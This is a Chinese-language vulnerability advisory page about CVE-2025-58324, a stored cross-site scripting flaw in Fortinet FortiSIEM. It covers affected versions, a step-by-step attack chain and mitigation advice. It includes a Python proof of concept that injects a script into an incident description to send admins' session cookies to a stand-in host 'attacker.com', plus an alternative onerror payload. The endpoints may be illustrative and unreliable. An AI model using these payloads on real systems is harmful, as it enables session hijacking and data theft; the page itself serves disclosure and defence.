IPBUF安全漏洞报告
English
CVE-2025-58324 CVSS 6.4 中危

CVE-2025-58324 FortiSIEM存储型跨站脚本漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-58324
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Fortinet FortiSIEM

相关标签

XSS存储型跨站脚本CWE-79FortiSIEMFortinetSIEMWeb漏洞中危漏洞需要认证FG-IR-24-280

漏洞概述

CVE-2025-58324是Fortinet FortiSIEM安全信息与事件管理(SIEM)系统中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞被归类为CWE-79(网页生成过程中输入的不当中和),CVSS 3.1评分为6.4分,属于中危级别。

FortiSIEM是Fortinet公司推出的一款企业级安全信息与事件管理平台,广泛应用于企业的安全运营中心(SOC),用于收集、关联分析来自各类安全设备和网络设备的日志数据,帮助安全团队检测威胁、响应事件。由于该产品在企业安全架构中处于核心位置,一旦被攻击者利用,可能导致敏感的安全日志数据、用户凭证、会话信息等遭到窃取或篡改,对企业整体安全态势造成严重影响。

该漏洞影响FortiSIEM的多个历史版本,覆盖范围从6.2版本一直到7.2.2版本,影响面非常广泛。该漏洞由Fortinet产品安全事件响应团队(PSIRT)发现并披露,于2025年10月14日正式公开。该漏洞需要认证用户以高权限身份发起攻击,并需要受害者用户进行交互才能触发完整的攻击流程。尽管利用条件相对苛刻,但由于FortiSIEM通常被高权限的安全管理员使用,一旦成功利用,攻击者可以窃取管理员会话、执行未授权操作,甚至可能进一步渗透到企业内网。

技术细节

该漏洞的根本原因在于FortiSIEM的Web管理界面在处理用户提交的HTTP请求时,未能对输入内容进行充分的过滤和转义,导致恶意脚本代码可以被持久化存储到服务器端。当其他用户(尤其是管理员)访问包含恶意脚本的页面时,浏览器会执行嵌入的JavaScript代码,从而实现跨站脚本攻击。

从技术层面分析,攻击者首先需要拥有FortiSIEM的有效账户,并且该账户需要具备较高的权限级别(PR:H)。攻击者通过精心构造的HTTP请求,将恶意的JavaScript代码(通常为HTML标签中的事件处理器或script标签)注入到系统中可被存储的字段,例如事件描述、报告名称、仪表板组件名称、规则注释等用户可控区域。由于服务器端缺乏对这些字段的输出编码(Output Encoding)和输入验证(Input Validation),恶意代码被原样存储。

当具有相应权限的其他用户(如安全分析师或管理员)通过Web界面查看包含恶意内容的页面时,浏览器将解析并执行存储的恶意脚本。攻击者可以利用此漏洞执行多种恶意操作,包括但不限于:窃取用户的会话Cookie进行会话劫持、利用CSRF令牌执行未授权操作、通过浏览器发起内部网络扫描、窃取敏感的安全数据和凭证、以及在受害者的权限范围内执行任意管理操作。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H,表明攻击通过网络发起(AV:N),攻击条件较为复杂(AC:H),需要高权限认证(PR:H),需要用户交互(UI:R),作用域未改变(S:U),对机密性、完整性和可用性均产生高影响。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过社会工程学、钓鱼攻击或其他方式获取FortiSIEM的有效账户凭据,该账户需要具备较高的权限级别(如安全分析师或管理员),因为漏洞利用需要高权限认证(PR:H)。
STEP 2
步骤2:构造恶意HTTP请求
攻击者登录FortiSIEM管理界面后,精心构造包含恶意JavaScript代码的HTTP请求。恶意代码通常嵌入在事件描述、报告名称、仪表板组件、规则注释等用户可控的输入字段中。
STEP 3
步骤3:注入并存储恶意载荷
攻击者将构造的恶意请求提交到FortiSIEM服务器。由于服务器端缺乏对用户输入的充分过滤和输出编码(Output Encoding),恶意脚本被原样持久化存储到数据库中,形成存储型XSS。
STEP 4
步骤4:等待受害者访问
攻击者等待具有相应权限的用户(如安全运营中心的管理员)通过Web界面访问包含恶意内容的页面。用户交互(UI:R)是触发漏洞的必要条件。
STEP 5
步骤5:恶意脚本执行
受害者的浏览器加载包含恶意脚本的页面时,浏览器解析并执行嵌入的JavaScript代码。攻击者可以在受害者的权限上下文中执行任意操作。
STEP 6
步骤6:数据窃取与权限提升
恶意脚本窃取受害者的会话Cookie、CSRF令牌等敏感信息,发送到攻击者控制的服务器。攻击者利用窃取的会话可以执行未授权的管理操作,如查看安全日志、修改检测规则、导出敏感数据,甚至进一步渗透企业内网。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58324 - FortiSIEM Stored XSS PoC # This PoC demonstrates a stored XSS attack via crafted HTTP requests # Target: FortiSIEM 7.2.0 - 7.2.2, 7.1.x, 7.0.x, 6.x all versions import requests # Configuration TARGET_URL = "https://fortisiem-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to FortiSIEM session = requests.Session() login_url = f"{TARGET_URL}/phoenix/login" # Get login page to retrieve CSRF token response = session.get(login_url) # Perform login (adjust parameters based on FortiSIEM version) login_data = { "username": USERNAME, "password": PASSWORD, "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } response = session.post(login_url, data=login_data, verify=False) # Step 2: Inject malicious XSS payload via a stored field # Common injection points: incident description, report name, dashboard widget, rule description xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Example: Inject via incident/comment creation inject_url = f"{TARGET_URL}/phoenix/rest/event/incident/create" inject_data = { "incidentTitle": "Security Alert", "incidentDescription": f"Normal alert description {xss_payload}", "severity": "3", "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET_URL}/phoenix/" } response = session.post(inject_url, data=inject_data, headers=headers, verify=False) print(f"Injection Status: {response.status_code}") print(f"Payload stored: {xss_payload}") # Step 3: When an admin views the incident, the XSS executes # The malicious script steals the admin's session cookie # and redirects to the attacker's controlled server print("\n[!] XSS payload stored successfully.") print("[!] When a high-privilege user views this content, the payload will execute.") print("[!] Captured data will be sent to: https://attacker.com/steal") # Alternative payload using event handlers (bypasses some filters) alternative_payload = '"><img src=x onerror=alert(document.domain)>' print(f"\nAlternative payload: {alternative_payload}")

影响范围

FortiSIEM 7.2.0
FortiSIEM 7.2.1
FortiSIEM 7.2.2
FortiSIEM 7.1(全版本)
FortiSIEM 7.0(全版本)
FortiSIEM 6.7(全版本)
FortiSIEM 6.6(全版本)
FortiSIEM 6.5(全版本)
FortiSIEM 6.4(全版本)
FortiSIEM 6.3(全版本)
FortiSIEM 6.2(全版本)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制FortiSIEM管理界面的网络访问,仅允许可信IP地址通过VPN或堡垒机访问;2)实施严格的账户管理和访问审计,监控高权限账户的异常活动;3)在反向代理或Web服务器层面部署内容安全策略(CSP),限制内联脚本执行;4)对用户输入字段实施临时输入过滤,阻止常见的XSS载荷(如<script>标签、事件处理器等);5)确保所有管理员会话使用HTTPOnly Cookie,降低会话劫持风险;6)定期审查FortiSIEM中的存储内容,检测并清除已注入的恶意脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表